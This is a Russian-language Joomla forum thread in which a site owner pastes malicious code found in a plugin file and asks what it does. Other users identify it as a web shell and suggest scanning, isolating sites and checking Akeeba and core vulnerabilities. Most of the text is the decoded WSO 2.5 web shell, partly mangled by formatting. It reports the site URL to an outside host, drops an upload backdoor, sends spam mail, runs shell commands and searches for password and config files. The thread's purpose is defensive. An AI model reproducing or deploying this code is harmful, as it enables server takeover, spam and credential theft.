Новости Joomla

0 Пользователей и 1 Гость просматривают эту тему.
  • 10 Ответов
  • 3001 Просмотров
*

mistbow

  • Захожу иногда
  • 70
  • 4 / 0
Что за код и куда копать?
« : 23.11.2015, 16:02:12 »
Приветствую!
В /plugins/system/anticopy/anticopy.php появился вот такой код.

Обрезок результата после декодирования:
Вопрос к знатокам, что делает и где что еще может быть скрыто?
де можно найти ответы или куда передать полный файл для анализа?

Код
<?php ?><?php
$url = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
if ($curl = curl_init()) {
    curl_setopt($curl, CURLOPT_URL, 'http://tiramisu.ezobiz24.ru/receiver.php');
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_POSTFIELDS, "shell=" . $url);
    $out = curl_exec($curl);
    echo $out;
    curl_close($curl);
}
$mail_file = '<?php
if ($mode==\'upload\') {
   if(is_uploaded_file($_FILES["filename"]["tmp_name"]))
   {
     move_uploaded_file($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
echo $_FILES["filename"]["name"];
   }
}
?>';
$fp = fopen("../mail.php", "w");
fwrite($fp, $mail_file);
fclose($fp);
if (isset($_REQUEST['mode'])) {
    $mode = $_REQUEST['mode'];
}
if ($mode == 'check') {
    echo "good";
    exit;
}
if ($mode == 'upload') {
    if (is_uploaded_file($_FILES["filename"]["tmp_name"])) {
        //    ,  
        //    
        move_uploaded_file($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
        echo $_FILES["filename"]["name"];
    }
    exit;
}
if ($mode == 'send') {
    $to = $_POST["to"];
    $subject = $_POST["sub"];
    $message = $_POST["mess"];
    $from = $_POST["from"];
    $type = $_POST["type"];
    $filename = $_POST["filename"];
    $rez = "";
    function mail_utf8_html_attch($to, $subj, $text, $from, $filename) {
        $f = fopen($filename, "rb");
        $un = strtoupper(uniqid(time()));
        $head = "From: $from
";
        if (strpos($to, ', ') == true) {
            $bcc1 = $to;
            $bcc = explode(", ", $to);
            $to = $bcc[0];
            $bcc1 = str_replace($to, "", $bcc1);
            $head.= "Bcc: " . $bcc1;
        };
        //$head     .= "To: $to
        ";
//$head     .= "Subject:
            $subj";
$head     .= "Mime - Version:
                1.0";
$head     .= "Content - Type:
                    multipart / mixed;
                    ";
$head     .= "boundary = \"----------" . $un . "\"

";
                    $zag = "------------" . $un . "
Content-Type:text/html;charset=UTF-8;
";
                    $zag.= "Content-Transfer-Encoding: 8bit

" . $text . "

";
                    $zag.= "------------" . $un . "
";
                    $zag.= "Content-Type: application/octet-stream;";
                    $zag.= "name=\"" . $filename . "\"
";
                    $zag.= "Content-Transfer-Encoding:base64
";
                    $zag.= "Content-Disposition:attachment;";
                    $zag.= "filename=\"" . basename($filename). "\"

";
                    $zag.= chunk_split(base64_encode(fread($f, filesize($filename)))). "
";
                    $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
                    $params = array('send_email' => '1', 'to' => $to, 'subj' => $subj, 'zag' => $zag, 'head' => $head,);
                    $result = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => http_build_query($params)))));
                    //$m  = mail($to, $subj, $zag, $head);
                    return $result;
                }
                function mail_utf8_text($to, $subject = '(No subject)', $message = '', $from) {
                    $header = 'MIME-Version: 1.0' . "
" . 'Content-type: text/plain; charset=UTF-8' . "
" . 'From: ' . $from . "
";
                    //$m = mail($to, $subject,$message, $header);
                    // return $m;
                    if (strpos($to, ', ') == true) {
                        $bcc1 = $to;
                        $bcc = explode(", ", $to);
                        $to = $bcc[0];
                        $bcc1 = str_replace($to, "", $bcc1);
                        $header.= "Bcc: " . $bcc1;
                    };
                    $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
                    $params = array('send_email' => '1', 'to' => $to, 'subj' => $subject, 'zag' => $message, 'head' => $header,);
                    $result = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => http_build_query($params)))));
                    return $result;
                }
                function mail_utf8_html($to, $subject = '(No subject)', $message = '', $from) {
                    $header = 'MIME-Version: 1.0' . "
" . 'Content-type: text/html; charset=UTF-8' . "
" . 'From: ' . $from . "
";
                    //$m = mail($to, $subject,$message, $header);
                    //return $m;
                    if (strpos($to, ', ') == true) {
                        $bcc1 = $to;
                        $bcc = explode(", ", $to);
                        $to = $bcc[0];
                        $bcc1 = str_replace($to, "", $bcc1);
                        $header.= "Bcc: " . $bcc1;
                    };
                    $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
                    $params = array('send_email' => '1', 'to' => $to, 'subj' => $subject, 'zag' => $message, 'head' => $header,);
                    $result = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => http_build_query($params)))));
                    return $result;
                }
                if ($type == "attach_html") {
                    $rez = mail_utf8_html_attch($to, $subject, $message, $from, $filename);
                }
                if ($type == "html") {
                    $rez = mail_utf8_html($to, $subject, $message, $from);
                }
                if ($type == "text") {
                    $rez = mail_utf8_text($to, $subject, $message, $from);
                }
                if ($rez == true) {
                    echo ("1");
                }
                if ($rez == false) {
                    echo ("0");
                }
                exit;
            }
            if ($_REQUEST['send_email'] == '1') {
                $to = $_POST['to'];
                $subj = $_POST['subj'];
                $zag = $_POST['zag'];
                $head = $_POST['head'];
                $m = mail($to, $subj, $zag, $head);
                echo $m;
                exit;
            }
            if ($_REQUEST['type'] == 'all_right') {
                echo "okey";
                exit;
            }
            if ($_REQUEST['type'] == 'pars') {
                function GetDomains($q, $count = 1) {
                    $result = Array();
                    for ($i = 0;$i <= $count;$i++) {
                        $page = file_get_contents('http://www.google.com/search?num=100&lr=&as_qdr=all&q=' . rawurlencode($q). '&start=' . $i * 100);
                        $sleep_time = rand($_REQUEST['ot'], $_REQUEST['to']);
                        sleep($sleep_time);
                        preg_match_all("/<[Aa][\s]{1}[^>]*[Hh][Rr][Ee][Ff][^=]*=[ '\"\s]*([^ \"'>\s#]+)[^>]*>/", $page, $matches);
                        $matches = $matches[1];
                        foreach ($matches as $m) {
                            if (preg_match('/(http:\/\/|https:\/\/)([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}/', $m, $d)) $result[str_replace(array('http://', 'https://'), '', $d[0]) ] = count($result) + 1;
                        }
                    }
                    $r = Array();
                    foreach ($result as $k => $v) $r[] = $k;
                    return $r;
                }
                $i = 0;
                foreach (GetDomains($_GET['q'], (int)$_GET['c']) as $d[$i]) {
                    $i++;
                };
                $i = 14;
                $str = '';
                foreach ($d as $z) {
                    $str = $str . " " . $z;
                    $i++;
                };
                echo $str;
                exit;
            }
            $auth_pass = "ec1e7077d02cb3dbd61ab73018c4a319";
            $color = "#df5";
            $default_action = 'FilesMan';
            $default_use_ajax = true;
            $default_charset = 'Windows-1251';
            if (!empty($_SERVER['HTTP_USER_AGENT'])) {
                $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
                if (preg_match('/' . implode('|', $userAgents). '/i', $_SERVER['HTTP_USER_AGENT'])) {
                    header('HTTP/1.0 404 Not Found');
                    exit;
                }
            }
            @ini_set('error_log', NULL);
            @ini_set('log_errors', 0);
            @ini_set('max_execution_time', 0);
            @set_time_limit(0);
            @set_magic_quotes_runtime(0);
            @define('WSO_VERSION', '2.5');
            if (get_magic_quotes_gpc()) {
                function WSOstripslashes($array) {
                    return is_array($array)? array_map('WSOstripslashes', $array) : stripslashes($array);
                }
                $_POST = WSOstripslashes($_POST);
                $_COOKIE = WSOstripslashes($_COOKIE);
            }
            function wsoLogin() {
                die("<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL index.php was not found on this server.</p>
<hr>
<address>Apache/2.2.22 (Linux) Server at Port <small onclick=\"document.getElementById('login').style.display = 'block';\">80</small></address>
</body></html><div id=\"login\" style=\"display:none;\"><pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre></div>");
            }
            function WSOsetcookie($k, $v) {
                $_COOKIE[$k] = $v;
                setcookie($k, $v);
            }
            if (!empty($auth_pass)) {
                if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
                if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
            }
            if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
            else $os = 'nix';
            $safe_mode = @ini_get('safe_mode');
            if (!$safe_mode) error_reporting(0);
            $disable_functions = @ini_get('disable_functions');
            $home_cwd = @getcwd();
            if (isset($_POST['c'])) @chdir($_POST['c']);
            $cwd = @getcwd();
            if ($os == 'win') {
                $home_cwd = str_replace("\", " / ", $home_cwd);
$cwd = str_replace("\", " / ", $cwd);
}
if($cwd[strlen($cwd) - 1] != '/')
$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']). 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']). 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
$aliases = array(
"ListDirectory" => "dir",
     "Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
     "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
     "Showactiveconnections" => "netstat - an",
     "Showrunningservices" => "netstart",
     "Useraccounts" => "netuser",
     "Showcomputers" => "netview",
"ARPTable" => "arp - a",
"IPConfiguration" => "ipconfig / all"
);
else
$aliases = array(
   "Listdir" => "ls - lha",
"listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
   "showopenedports" => "netstat - an | grep - ilisten",
        "processstatus" => "psaux",
"Find" => "",
   "findallsuidfiles" => "find / -typef - perm - 04000 - ls",
   "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls",
   "findallsgidfiles" => "find / -typef - perm - 02000 - ls",
   "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls",
   "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php",
   "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
                function wsoHeader() {
                    if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
                    global $color;
                    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']). "';
    var a_ = '" . htmlspecialchars(@$_POST['a']). "'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']). "';
    var p1_ = '" . ((strpos(@$_POST['p1'], "
")!== false)? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)). "';
    var p2_ = '" . ((strpos(@$_POST['p2'], "
")!== false)? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)). "';
    var p3_ = '" . ((strpos(@$_POST['p3'], "
")!== false)? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)). "';
    var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']). "', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
                    $freeSpace = @diskfreespace($GLOBALS['cwd']);
                    $totalSpace = @disk_total_space($GLOBALS['cwd']);
                    $totalSpace = $totalSpace ? $totalSpace : 1;
                    $release = @php_uname('r');
                    $kernel = @php_uname('s');
                    $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
                    if (strpos('Linux', $kernel)!== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
                    else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
                    if (!function_exists('posix_getegid')) {
                        $user = @get_current_user();
                        $uid = @getmyuid();
                        $gid = @getmygid();
                        $group = "?";
                    } else {
                        $uid = @posix_getpwuid(posix_geteuid());
                        $gid = @posix_getgrgid(posix_getegid());
                        $user = $uid['name'];
                        $uid = $uid['uid'];
                        $group = $gid['name'];
                        $gid = $gid['gid'];
                    }
                    $cwd_links = '';
                    $path = explode("/", $GLOBALS['cwd']);
                    $n = count($path);
                    for ($i = 0;$i < $n - 1;$i++) {
                        $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
                        for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
                        $cwd_links.= "\")'>" . $path[$i] . "/</a>";
                    }
                    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
                    $opt_charsets = '';
                    foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : ''). '>' . $item . '</option>';
                    $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
                    if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
                    $m['Self remove'] = 'SelfRemove';
                    $menu = '';
                    foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)). '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
                    $drives = "";
                    if ($GLOBALS['os'] == 'win') {
                        foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\'))
$drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > ';
}
echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
                                            ' . ($GLOBALS['os'] == 'win'?' < br > Drives:
                                                ':''). ' < / span > < / td > '
       . ' < td > < nobr > ' . substr(@php_uname(), 0, 120). ' < ahref = "' . $explink . '"target = _blank > [exploit - db . com] < / a > < / nobr > < br > ' . $uid . '(' . $user . ') < span > Group: < / span > ' . $gid . '(' . $group . ') < br > ' . @phpversion(). ' < span > Safemode: < / span > ' . ($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = green > < b > OFF < / b > < / font > ')
       . ' < ahref = # onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s'). '<br>' . wsoViewSize($totalSpace). ' <span>Free:</span> ' . wsoViewSize($freeSpace). ' ('. (int) ($freeSpace/$totalSpace*100). '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']). ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
                                                         . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
                                                    }
                                                    function wsoFooter() {
                                                        $is_writable = is_writable($GLOBALS['cwd'])? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
                                                        echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']). "'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset'])? $_POST['charset'] : ''). "'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
</tr></table></div></body></html>";
                                                    }
                                                    if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
                                                        function posix_getpwuid($p) {
                                                            return false;
                                                        }
                                                    }
                                                    if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
                                                        function posix_getgrgid($p) {
                                                            return false;
                                                        }
                                                    }
                                                    function wsoEx($in) {
                                                        $out = '';
                                                        if (function_exists('exec')) {
                                                            @exec($in, $out);
                                                            $out = @join("
", $out);
                                                        } elseif (function_exists('passthru')) {
                                                            ob_start();
                                                            @passthru($in);
                                                            $out = ob_get_clean();
                                                        } elseif (function_exists('system')) {
                                                            ob_start();
                                                            @system($in);
                                                            $out = ob_get_clean();
                                                        } elseif (function_exists('shell_exec')) {
                                                            $out = shell_exec($in);
                                                        } elseif (is_resource($f = @popen($in, "r"))) {
                                                            $out = "";
                                                            while (!@feof($f)) $out.= fread($f, 1024);
                                                            pclose($f);
                                                        }
                                                        return $out;
                                                    }
                                                    function wsoViewSize($s) {
                                                        if (is_int($s)) $s = sprintf("%u", $s);
                                                        if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824). ' GB';
                                                        elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576). ' MB';
                                                        elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024). ' KB';
                                                        else return $s . ' B';
                                                    }
                                                    function wsoPerms($p) {
                                                        if (($p & 0xC000) == 0xC000) $i = 's';
                                                        elseif (($p & 0xA000) == 0xA000) $i = 'l';
                                                        elseif (($p & 0x8000) == 0x8000) $i = '-';
                                                        elseif (($p & 0x6000) == 0x6000) $i = 'b';
                                                        elseif (($p & 0x4000) == 0x4000) $i = 'd';
                                                        elseif (($p & 0x2000) == 0x2000) $i = 'c';
                                                        elseif (($p & 0x1000) == 0x1000) $i = 'p';
                                                        else $i = 'u';
                                                        $i.= (($p & 0x0100)? 'r' : '-');
                                                        $i.= (($p & 0x0080)? 'w' : '-');
                                                        $i.= (($p & 0x0040)? (($p & 0x0800)? 's' : 'x') : (($p & 0x0800)? 'S' : '-'));
                                                        $i.= (($p & 0x0020)? 'r' : '-');
                                                        $i.= (($p & 0x0010)? 'w' : '-');
                                                        $i.= (($p & 0x0008)? (($p & 0x0400)? 's' : 'x') : (($p & 0x0400)? 'S' : '-'));
                                                        $i.= (($p & 0x0004)? 'r' : '-');
                                                        $i.= (($p & 0x0002)? 'w' : '-');
                                                        $i.= (($p & 0x0001)? (($p & 0x0200)? 't' : 'x') : (($p & 0x0200)? 'T' : '-'));
                                                        return $i;
                                                    }
                                                    function wsoPermsColor($f) {
                                                        if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)). '</font>';
                                                        elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)). '</font>';
                                                        else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)). '</font>';
                                                    }
                                                    function wsoScandir($dir) {
                                                        if (function_exists("scandir")) {
                                                            return scandir($dir);
                                                        } else {
                                                            $dh = opendir($dir);
                                                            while (false !== ($filename = readdir($dh))) $files[] = $filename;
                                                            return $files;
                                                        }
                                                    }
                                           
« Последнее редактирование: 23.11.2015, 16:10:19 от mistbow »
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Что за код и куда копать?
« Ответ #1 : 23.11.2015, 19:37:09 »
Шелл. Взломали. Какая версия Joomla? Скриптом ai-bolit проверяйте.
*

mistbow

  • Захожу иногда
  • 70
  • 4 / 0
Re: Что за код и куда копать?
« Ответ #2 : 23.11.2015, 20:36:44 »
Шелл. Взломали. Какая версия Joomla? Скриптом ai-bolit проверяйте.

Joomla! 3.4.5 Stable
сам нашел 2 файла,
Айболит тоже нашел 2 файла и еще ругается на некоторые файлы
Akeeba Backup 4.4.3 (2015-10-29)
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Что за код и куда копать?
« Ответ #3 : 23.11.2015, 20:38:59 »
Сайты еще на аккаунте хостинга есть?
*

mistbow

  • Захожу иногда
  • 70
  • 4 / 0
Re: Что за код и куда копать?
« Ответ #4 : 23.11.2015, 21:05:19 »
Сайты еще на аккаунте хостинга есть?
много... ((
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Что за код и куда копать?
« Ответ #5 : 23.11.2015, 21:11:17 »
Они под одним пользователем?
*

mistbow

  • Захожу иногда
  • 70
  • 4 / 0
Re: Что за код и куда копать?
« Ответ #6 : 23.11.2015, 21:17:36 »
Они под одним пользователем?

Площадка одна, папки разные.
Так что думаю можно считать, что под одним... (

Я так понимаю ноги растут от этой проги... (https://bhf.su/threads/167182/page-5
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Что за код и куда копать?
« Ответ #7 : 23.11.2015, 21:23:48 »
Из одной директории сайта выполняется код в директории другого сайта?
*

mistbow

  • Захожу иногда
  • 70
  • 4 / 0
Re: Что за код и куда копать?
« Ответ #8 : 23.11.2015, 21:59:29 »
Из одной директории сайта выполняется код в директории другого сайта?
ну если набрать php ../other_site/www/indwx.php то исполняет... ((
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Что за код и куда копать?
« Ответ #9 : 24.11.2015, 09:53:31 »
Разделите их для начала. Если что у меня есть на примете хостинги которые ограничивают работу скриптов директорией сайта.
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Что за код и куда копать?
« Ответ #10 : 24.11.2015, 13:20:02 »
А можно домен сайта увидеть? акиба не обнавленная имеет уязвимость уплодера, и также есть бага в ядре в контент_хистори, если логи сохроняются, попробуйте посмотреть по дате появления файла и по этой дате ищи логи обращения к самому файлу, а там выше может сможете выявить реализацию уязвимости. Выполнения консоли в PHP ведет к потенциальным уязвимостям на хостинге, следовательно его менять нужно... *DRINK*
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Вирусняк на сайте, редиректит, Что делать? Где копать?

Автор webwin12

Ответов: 10
Просмотров: 2064
Последний ответ 22.11.2015, 12:29:20
от webwin12
Взлом или ошибка. Просьба помочь, куда копать

Автор coollover

Ответов: 9
Просмотров: 2237
Последний ответ 20.01.2012, 23:24:35
от coollover